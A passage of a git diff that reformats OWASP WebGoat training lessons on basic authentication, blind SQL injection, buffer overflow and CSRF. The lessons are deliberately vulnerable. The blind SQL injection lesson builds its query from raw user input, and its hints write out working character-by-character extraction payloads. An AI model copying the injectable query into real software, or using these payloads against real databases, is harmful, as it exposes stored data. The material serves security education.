+ + "still logged in as "
+ + s.getUserName()
+ + ". Look at the request after you typed in the 'basic' "
+ + "user credentials and submitted the request. Remember the order of events that occur during Basic Authentication.");
+ }
+ else if (!originalSessionId.equals(s.getCookie(JSESSIONID)))
+ {
+ ec
+ .addElement("You're really close! Changing the session cookie caused the server to create a new session for you. This did not cause the server to reauthenticate you. "
+ + "When you figure out how to force the server to perform an authentication request, you have to authenticate as:
"
+ + " user name: basic "
+ + " password: basic ");
+ }
+ else
+ {
+ ec.addElement("Use the hints! One at a time...");
+ }
- /**
- * Gets the hints attribute of the HelloScreen object
- *
- * @return The hints value
- */
- public List getHints(WebSession s)
- {
- List hints = new ArrayList();
- // int stage = getLessonTracker(session, BASIC).getStage();
+ }
- // switch ( stage )
- // {
- // case 1:
- hints
- .add("Basic authentication uses a cookie to pass the credentials. "
- + "Use a proxy to intercept the request. Look at the cookies.");
- hints
- .add("Basic authentication uses Base64 encoding to 'scramble' the "
- + "user's login credentials.");
- hints
- .add("Basic authentication uses 'Authorization' as the cookie name to "
- + "store the user's credentials.");
- hints.add("Use WebScarab -> Tools -> Transcoder to Base64 decode the "
- + "the value in the Authorization cookie.");
- // break;
- // case 2:
- hints
- .add("Basic authentication uses a cookie to pass the credentials. "
- + "Use a proxy to intercept the request. Look at the cookies.");
- hints
- .add("Before the WebServer requests credentials from the client, the current "
- + "session is checked for validitity.");
- hints
- .add("If the session is invalid the webserver will use the basic authentication credentials");
- hints
- .add("If the session is invalid and the basic authentication credentials are invalid, "
- + "new credentials will be requested from the client.");
- hints
- .add("Intercept the request and corrupt the JSESSIONID and the Authorization header.");
- // break;
- // }
+ } catch (Exception e)
+ {
+ s.setMessage("Error generating " + this.getClass().getName());
+ e.printStackTrace();
+ }
- return hints;
- }
+ return (ec);
+ }
- private final static Integer DEFAULT_RANKING = new Integer(100);
+ /**
+ * Gets the category attribute of the ForgotPassword object
+ *
+ * @return The category value
+ */
+ protected Category getDefaultCategory()
+ {
+ return Category.AUTHENTICATION;
+ }
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
+ /**
+ * Gets the hints attribute of the HelloScreen object
+ *
+ * @return The hints value
+ */
+ public List getHints(WebSession s)
+ {
+ List hints = new ArrayList();
+ // int stage = getLessonTracker(session, BASIC).getStage();
+ // switch ( stage )
+ // {
+ // case 1:
+ hints.add("Basic authentication uses a cookie to pass the credentials. "
+ + "Use a proxy to intercept the request. Look at the cookies.");
+ hints.add("Basic authentication uses Base64 encoding to 'scramble' the " + "user's login credentials.");
+ hints.add("Basic authentication uses 'Authorization' as the cookie name to " + "store the user's credentials.");
+ hints.add("Use WebScarab -> Tools -> Transcoder to Base64 decode the "
+ + "the value in the Authorization cookie.");
+ // break;
+ // case 2:
+ hints.add("Basic authentication uses a cookie to pass the credentials. "
+ + "Use a proxy to intercept the request. Look at the cookies.");
+ hints.add("Before the WebServer requests credentials from the client, the current "
+ + "session is checked for validitity.");
+ hints.add("If the session is invalid the webserver will use the basic authentication credentials");
+ hints.add("If the session is invalid and the basic authentication credentials are invalid, "
+ + "new credentials will be requested from the client.");
+ hints.add("Intercept the request and corrupt the JSESSIONID and the Authorization header.");
+ // break;
+ // }
+
+ return hints;
+ }
+
+ private final static Integer DEFAULT_RANKING = new Integer(100);
+
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
+
+ /**
+ * Gets the title attribute of the HelloScreen object
+ *
+ * @return The title value
+ */
+ public String getTitle()
+ {
+ return ("Basic Authentication");
+ }
- /**
- * Gets the title attribute of the HelloScreen object
- *
- * @return The title value
- */
- public String getTitle()
- {
- return ("Basic Authentication");
- }
-
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/BlindSqlInjection.java b/main/project/JavaSource/org/owasp/webgoat/lessons/BlindSqlInjection.java
index c7d46d3ba..44c621b75 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/BlindSqlInjection.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/BlindSqlInjection.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons;
import java.sql.Connection;
@@ -6,7 +7,6 @@ import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@@ -16,302 +16,294 @@ import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
- * @author Chuck Willis Chuck's web
- * site (this lesson is heavily based on Bruce Mayhews' SQL
- * Injection lesson
+ * @author Chuck Willis Chuck's web site (this lesson
+ * is heavily based on Bruce Mayhews' SQL Injection lesson
* @created January 14, 2005
*/
public class BlindSqlInjection extends LessonAdapter
{
- private final static String ACCT_NUM = "account_number";
+ private final static String ACCT_NUM = "account_number";
- private final static int TARGET_ACCT_NUM = 15613;
+ private final static int TARGET_ACCT_NUM = 15613;
- /**
- * Description of the Method
- *
- * @param s
- * Description of the Parameter
- * @return Description of the Return Value
- */
- protected Element createContent(WebSession s)
- {
- ElementContainer ec = new ElementContainer();
-
- try
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected Element createContent(WebSession s)
{
- Connection connection = DatabaseUtilities.getConnection(s);
+ ElementContainer ec = new ElementContainer();
- ec.addElement(new P().addElement("Enter your Account Number: "));
-
- String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101");
- Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString());
- ec.addElement(input);
-
- Element b = ECSFactory.makeButton("Go!");
- ec.addElement(b);
-
- String query = "SELECT * FROM user_data WHERE userid = " + accountNumber;
- String answer_query;
- if (runningOnWindows())
- {
- answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = "
- + TARGET_ACCT_NUM;
- } else
- {
- answer_query = "SELECT first_name FROM user_data WHERE userid = " + TARGET_ACCT_NUM;
- }
-
- try
- {
- Statement answer_statement = connection.createStatement(
- ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
- ResultSet answer_results = answer_statement.executeQuery(answer_query);
- answer_results.first();
- System.out.println("Account: " + accountNumber );
- System.out.println("Answer : " + answer_results.getString(1));
- if (accountNumber.toString().equals(answer_results.getString(1)))
+ try
{
- makeSuccess(s);
- } else
+ Connection connection = DatabaseUtilities.getConnection(s);
+
+ ec.addElement(new P().addElement("Enter your Account Number: "));
+
+ String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101");
+ Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString());
+ ec.addElement(input);
+
+ Element b = ECSFactory.makeButton("Go!");
+ ec.addElement(b);
+
+ String query = "SELECT * FROM user_data WHERE userid = " + accountNumber;
+ String answer_query;
+ if (runningOnWindows())
+ {
+ answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = " + TARGET_ACCT_NUM;
+ }
+ else
+ {
+ answer_query = "SELECT first_name FROM user_data WHERE userid = " + TARGET_ACCT_NUM;
+ }
+
+ try
+ {
+ Statement answer_statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
+ ResultSet.CONCUR_READ_ONLY);
+ ResultSet answer_results = answer_statement.executeQuery(answer_query);
+ answer_results.first();
+ System.out.println("Account: " + accountNumber);
+ System.out.println("Answer : " + answer_results.getString(1));
+ if (accountNumber.toString().equals(answer_results.getString(1)))
+ {
+ makeSuccess(s);
+ }
+ else
+ {
+
+ Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
+ ResultSet.CONCUR_READ_ONLY);
+ ResultSet results = statement.executeQuery(query);
+
+ if ((results != null) && (results.first() == true))
+ {
+ ec.addElement(new P().addElement("Account number is valid"));
+ }
+ else
+ {
+ ec.addElement(new P().addElement("Invalid account number"));
+ }
+ }
+ } catch (SQLException sqle)
+ {
+ ec.addElement(new P().addElement("An error occurred, please try again."));
+ }
+ } catch (Exception e)
{
-
- Statement statement = connection.createStatement(
- ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
- ResultSet results = statement.executeQuery(query);
-
- if ((results != null) && (results.first() == true))
- {
- ec.addElement(new P().addElement("Account number is valid"));
- } else
- {
- ec.addElement(new P().addElement("Invalid account number"));
- }
+ s.setMessage("Error generating " + this.getClass().getName());
+ e.printStackTrace();
}
- }
- catch (SQLException sqle)
- {
- ec.addElement(new P().addElement("An error occurred, please try again."));
- }
- }
- catch (Exception e)
- {
- s.setMessage("Error generating " + this.getClass().getName());
- e.printStackTrace();
+
+ return (ec);
}
- return (ec);
- }
-
- /**
- * Gets the category attribute of the SqlInjection object
- *
- * @return The category value
- */
- protected Category getDefaultCategory()
- {
- return Category.INJECTION;
- }
-
- /**
- * Gets the credits attribute of the AbstractLesson object
- *
- * @return The credits value
- */
- public Element getCredits()
- {
- return new StringElement("By Chuck Willis");
- }
-
- /**
- *
- * Determines the OS that WebGoat is running on. Needed because different DB
- * backends are used on the different OSes (Access on Windows, InstantDB on
- * others)
- *
- * @return true if running on Windows, false otherwise
- */
- private boolean runningOnWindows()
- {
- String os = System.getProperty("os.name", "Windows");
- if (os.toLowerCase().indexOf("window") != -1)
+ /**
+ * Gets the category attribute of the SqlInjection object
+ *
+ * @return The category value
+ */
+ protected Category getDefaultCategory()
{
- return true;
- } else
- {
- return false;
+ return Category.INJECTION;
}
- }
- /**
- * Gets the hints attribute of the DatabaseFieldScreen object
- *
- * @return The hints value
- */
- protected List getHints(WebSession s)
- {
- List hints = new ArrayList();
- if (runningOnWindows())
+ /**
+ * Gets the credits attribute of the AbstractLesson object
+ *
+ * @return The credits value
+ */
+ public Element getCredits()
{
- hints
- .add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
- + "Create a SQL statement that you can use as a true/false test and then "
- + "select the first character of the target element and do a start narrowing "
- + "down the character using > and <"
- + "
The backend database is Microsoft Access. Keep that in mind if you research SQL functions "
- + "on the Internet since different databases use some different functions and syntax.");
- hints.add("This is the code for the query being built and issued by WebGoat:
"
- + "\"SELECT * FROM user_data WHERE userid = \" + accountNumber ");
- hints
- .add("The application is taking your input and inserting it at the end of a pre-formed SQL command. "
- + "You will need to make use of the following SQL functions: "
- + "
SELECT - query for your target data and get a string "
- + "
mid(string, start, length) - returns a "
- + "substring of string starting at the start character and going for length characters "
- + "
asc(string) will return the ascii value of the first character in string "
- + "
> and < - once you have a character's value, compare it to a choosen one");
- hints
- .add("Example: is the first character of the first_name of userid "
- + TARGET_ACCT_NUM
- + " less than 'M' (ascii 77)? "
- + "
101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
- + TARGET_ACCT_NUM
- + ") , 1 , 1) ) < 77 ); "
- + "
If you get back that account number is valid, then yes. If get back that the number is"
- + "invalid then answer is no.");
- hints
- .add("Another example: is the second character of the first_name of userid "
- + TARGET_ACCT_NUM
- + " greater than 'm' (ascii 109)? "
- + "
101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
- + TARGET_ACCT_NUM
- + ") , 2 , 1) ) > 109 ); "
- + "
If you get back that account number is valid, then yes. If get back that the number is "
- + "invalid then answer is no.");
- } else
- {
- hints
- .add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
- + "Create a SQL statement that you can use as a true/false test and then "
- + "select the first character of the target element and do a start narrowing "
- + "down the character using > and <");
-
- hints
- .add("The database backend is InstantDB. Here is a reference guide : http://www.instantdb.com/doc/syntax.html");
- hints.add("This is the code for the query being built and issued by WebGoat:
"
- + "\"SELECT * FROM user_data WHERE userid = \" + accountNumber ");
- hints
- .add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND.
The application is taking your input and inserting it at the end of a pre-formed SQL command. "
- + "You will need to make use of the following SQL functions: "
- + "
SELECT - query for your target data and get a string "
- + "
mid(string, start, length) - returns a "
- + "substring of string starting at the start character and going for length characters "
- + "
asc(string) will return the ascii value of the first character in string "
- + "
> and < - once you have a character's value, compare it to a choosen one");
- hints
- .add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND.
Example: is the first character of the first_name of userid "
- + TARGET_ACCT_NUM
- + " less than 'M' (ascii 77)? "
- + "
101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
- + TARGET_ACCT_NUM
- + ") , 1 , 1) ) < 77 ); "
- + "
If you get back that account number is valid, then yes. If get back that the number is"
- + "invalid then answer is no.");
- hints
- .add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND.
example: is the second character of the first_name of userid "
- + TARGET_ACCT_NUM
- + " greater than 'm' (ascii 109)? "
- + "
101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
- + TARGET_ACCT_NUM
- + ") , 2 , 1) ) > 109 ); "
- + "
If you get back that account number is valid, then yes. If get back that the number is "
- + "invalid then answer is no.");
+ return new StringElement("By Chuck Willis");
}
- return hints;
- }
- /**
- * Gets the instructions attribute of the SqlInjection object
- *
- * @return The instructions value
- */
- public String getInstructions(WebSession s)
- {
- String instructions = "The form below allows a user to enter an account number and determine if "
- + "it is valid or not. Use this form to develop a true / false test check other entries in the database. "
- + "
The goal is to find the value of "
- + "the first_name in table user_data for userid "
- + TARGET_ACCT_NUM
- + ". Put the discovered name in the form to pass the lesson. Only the discovered name "
- + "should be put into the form field, paying close attention to the spelling and capitalization.";
-
- return (instructions);
- }
-
- private final static Integer DEFAULT_RANKING = new Integer(70);
-
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
-
- /**
- * Gets the title attribute of the DatabaseFieldScreen object
- *
- * @return The title value
- */
- public String getTitle()
- {
- return ("Blind SQL Injection");
- }
-
- /**
- * Constructor for the DatabaseFieldScreen object
- *
- * @param s
- * Description of the Parameter
- */
- public void handleRequest(WebSession s)
- {
- try
+ /**
+ *
+ * Determines the OS that WebGoat is running on. Needed because different DB backends are used
+ * on the different OSes (Access on Windows, InstantDB on others)
+ *
+ * @return true if running on Windows, false otherwise
+ */
+ private boolean runningOnWindows()
{
- super.handleRequest(s);
+ String os = System.getProperty("os.name", "Windows");
+ if (os.toLowerCase().indexOf("window") != -1)
+ {
+ return true;
+ }
+ else
+ {
+ return false;
+ }
}
- catch (Exception e)
+
+ /**
+ * Gets the hints attribute of the DatabaseFieldScreen object
+ *
+ * @return The hints value
+ */
+ protected List getHints(WebSession s)
{
- System.out.println("Exception caught: " + e);
- e.printStackTrace(System.out);
+ List hints = new ArrayList();
+ if (runningOnWindows())
+ {
+ hints
+ .add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ + "Create a SQL statement that you can use as a true/false test and then "
+ + "select the first character of the target element and do a start narrowing "
+ + "down the character using > and <"
+ + "
The backend database is Microsoft Access. Keep that in mind if you research SQL functions "
+ + "on the Internet since different databases use some different functions and syntax.");
+ hints.add("This is the code for the query being built and issued by WebGoat:
"
+ + "\"SELECT * FROM user_data WHERE userid = \" + accountNumber ");
+ hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command. "
+ + "You will need to make use of the following SQL functions: "
+ + "
SELECT - query for your target data and get a string "
+ + "
mid(string, start, length) - returns a "
+ + "substring of string starting at the start character and going for length characters "
+ + "
asc(string) will return the ascii value of the first character in string "
+ + "
> and < - once you have a character's value, compare it to a choosen one");
+ hints.add("Example: is the first character of the first_name of userid " + TARGET_ACCT_NUM
+ + " less than 'M' (ascii 77)? "
+ + "
101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid=" + TARGET_ACCT_NUM
+ + ") , 1 , 1) ) < 77 ); "
+ + "
If you get back that account number is valid, then yes. If get back that the number is"
+ + "invalid then answer is no.");
+ hints
+ .add("Another example: is the second character of the first_name of userid "
+ + TARGET_ACCT_NUM
+ + " greater than 'm' (ascii 109)? "
+ + "
101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
+ + TARGET_ACCT_NUM
+ + ") , 2 , 1) ) > 109 ); "
+ + "
If you get back that account number is valid, then yes. If get back that the number is "
+ + "invalid then answer is no.");
+ }
+ else
+ {
+ hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ + "Create a SQL statement that you can use as a true/false test and then "
+ + "select the first character of the target element and do a start narrowing "
+ + "down the character using > and <");
+
+ hints
+ .add("The database backend is InstantDB. Here is a reference guide : http://www.instantdb.com/doc/syntax.html");
+ hints.add("This is the code for the query being built and issued by WebGoat:
"
+ + "\"SELECT * FROM user_data WHERE userid = \" + accountNumber ");
+ hints
+ .add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND.
The application is taking your input and inserting it at the end of a pre-formed SQL command. "
+ + "You will need to make use of the following SQL functions: "
+ + "
SELECT - query for your target data and get a string "
+ + "
mid(string, start, length) - returns a "
+ + "substring of string starting at the start character and going for length characters "
+ + "
asc(string) will return the ascii value of the first character in string "
+ + "
> and < - once you have a character's value, compare it to a choosen one");
+ hints
+ .add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND.
Example: is the first character of the first_name of userid "
+ + TARGET_ACCT_NUM
+ + " less than 'M' (ascii 77)? "
+ + "
101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
+ + TARGET_ACCT_NUM
+ + ") , 1 , 1) ) < 77 ); "
+ + "
If you get back that account number is valid, then yes. If get back that the number is"
+ + "invalid then answer is no.");
+ hints
+ .add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND.
example: is the second character of the first_name of userid "
+ + TARGET_ACCT_NUM
+ + " greater than 'm' (ascii 109)? "
+ + "
101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
+ + TARGET_ACCT_NUM
+ + ") , 2 , 1) ) > 109 ); "
+ + "
If you get back that account number is valid, then yes. If get back that the number is "
+ + "invalid then answer is no.");
+ }
+ return hints;
+ }
+
+ /**
+ * Gets the instructions attribute of the SqlInjection object
+ *
+ * @return The instructions value
+ */
+ public String getInstructions(WebSession s)
+ {
+ String instructions = "The form below allows a user to enter an account number and determine if "
+ + "it is valid or not. Use this form to develop a true / false test check other entries in the database. "
+ + "
The goal is to find the value of " + "the first_name in table user_data for userid "
+ + TARGET_ACCT_NUM
+ + ". Put the discovered name in the form to pass the lesson. Only the discovered name "
+ + "should be put into the form field, paying close attention to the spelling and capitalization.";
+
+ return (instructions);
+ }
+
+ private final static Integer DEFAULT_RANKING = new Integer(70);
+
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
+
+ /**
+ * Gets the title attribute of the DatabaseFieldScreen object
+ *
+ * @return The title value
+ */
+ public String getTitle()
+ {
+ return ("Blind SQL Injection");
+ }
+
+ /**
+ * Constructor for the DatabaseFieldScreen object
+ *
+ * @param s
+ * Description of the Parameter
+ */
+ public void handleRequest(WebSession s)
+ {
+ try
+ {
+ super.handleRequest(s);
+ } catch (Exception e)
+ {
+ System.out.println("Exception caught: " + e);
+ e.printStackTrace(System.out);
+ }
}
- }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/BufferOverflow.java b/main/project/JavaSource/org/owasp/webgoat/lessons/BufferOverflow.java
index e99c9b428..8266e8855 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/BufferOverflow.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/BufferOverflow.java
@@ -1,110 +1,103 @@
+
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.Element;
import org.apache.ecs.StringElement;
-
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
- *
- * @author Bruce Mayhew WebGoat
- * @created October 28, 2003
+ *
+ * @author Bruce Mayhew WebGoat
+ * @created October 28, 2003
*/
public class BufferOverflow extends LessonAdapter
{
- /**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
- */
- protected Element createContent(WebSession s)
- {
- // just to get the generic how to text.
- return super.createContent(s);
- }
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected Element createContent(WebSession s)
+ {
+ // just to get the generic how to text.
+ return super.createContent(s);
+ }
+ /**
+ * Gets the category attribute of the ForgotPassword object
+ *
+ * @return The category value
+ */
+ protected Category getDefaultCategory()
+ {
- /**
- * Gets the category attribute of the ForgotPassword object
- *
- * @return The category value
- */
- protected Category getDefaultCategory()
- {
+ return Category.BUFFER_OVERFLOW;
+ }
- return Category.BUFFER_OVERFLOW;
- }
+ /**
+ * Gets the hints attribute of the HelloScreen object
+ *
+ * @return The hints value
+ */
+ public List getHints(WebSession s)
+ {
+ List hints = new ArrayList();
+ hints.add("Lesson Hint 1");
+ hints.add("Lesson Hint 2");
+ return hints;
+ }
- /**
- * Gets the hints attribute of the HelloScreen object
- *
- * @return The hints value
- */
- public List getHints(WebSession s)
- {
- List hints = new ArrayList();
- hints.add("Lesson Hint 1");
- hints.add("Lesson Hint 2");
+ private final static Integer DEFAULT_RANKING = new Integer(15);
- return hints;
- }
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
- private final static Integer DEFAULT_RANKING = new Integer(15);
+ /**
+ * Gets the title attribute of the HelloScreen object
+ *
+ * @return The title value
+ */
+ public String getTitle()
+ {
+ return ("Buffer Overflow");
+ }
-
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
-
-
- /**
- * Gets the title attribute of the HelloScreen object
- *
- * @return The title value
- */
- public String getTitle()
- {
- return ("Buffer Overflow");
- }
-
-
- public Element getCredits()
- {
- return new StringElement(
- "This screen created by: Your name could go here");
- }
+ public Element getCredits()
+ {
+ return new StringElement("This screen created by: Your name could go here");
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CSRF.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CSRF.java
index 55e977602..dbfd7ecfe 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/CSRF.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CSRF.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons;
import java.sql.Connection;
@@ -6,7 +7,6 @@ import java.sql.ResultSet;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@@ -24,39 +24,40 @@ import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
-/*******************************************************************************
+
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
- * @author Sherif Koussa Macadamian Technologies.
-
+ * @author Sherif Koussa Macadamian Technologies.
+ *
*/
-public class CSRF extends LessonAdapter {
+public class CSRF extends LessonAdapter
+{
private final static String MESSAGE = "message";
private final static int MESSAGE_COL = 3;
@@ -66,248 +67,257 @@ public class CSRF extends LessonAdapter {
private final static String TITLE = "title";
private final static int TITLE_COL = 2;
private static int count = 1;
- private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted message
- private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
- "Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
-
+ private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted
+ // message
+ private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
+ .setBorder(0).setHspace(0).setVspace(0);
+
/**
- * Adds a feature to the Message attribute of the MessageBoardScreen object
- *
- * @param s The feature to be added to the Message attribute
+ * Adds a feature to the Message attribute of the MessageBoardScreen object
+ *
+ * @param s
+ * The feature to be added to the Message attribute
*/
- protected void addMessage( WebSession s )
+ protected void addMessage(WebSession s)
{
try
{
- String title = HtmlEncoder.encode( s.getParser().getRawParameter( TITLE, "" ) );
- String message = s.getParser().getRawParameter( MESSAGE, "" );
+ String title = HtmlEncoder.encode(s.getParser().getRawParameter(TITLE, ""));
+ String message = s.getParser().getRawParameter(MESSAGE, "");
- Connection connection = DatabaseUtilities.getConnection( s );
+ Connection connection = DatabaseUtilities.getConnection(s);
String query = "INSERT INTO messages VALUES (?, ?, ?, ? )";
- PreparedStatement statement = connection.prepareStatement( query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
+ PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
+ ResultSet.CONCUR_READ_ONLY);
statement.setInt(1, count++);
statement.setString(2, title);
statement.setString(3, message);
statement.setString(4, s.getUserName());
- statement.executeUpdate();
-
- }
- catch ( Exception e )
+ statement.execute();
+
+ } catch (Exception e)
{
- s.setMessage( "Could not add message to database" );
+ s.setMessage("Could not add message to database");
}
}
-
+
@Override
- protected Element createContent(WebSession s) {
+ protected Element createContent(WebSession s)
+ {
ElementContainer ec = new ElementContainer();
-
- addMessage( s );
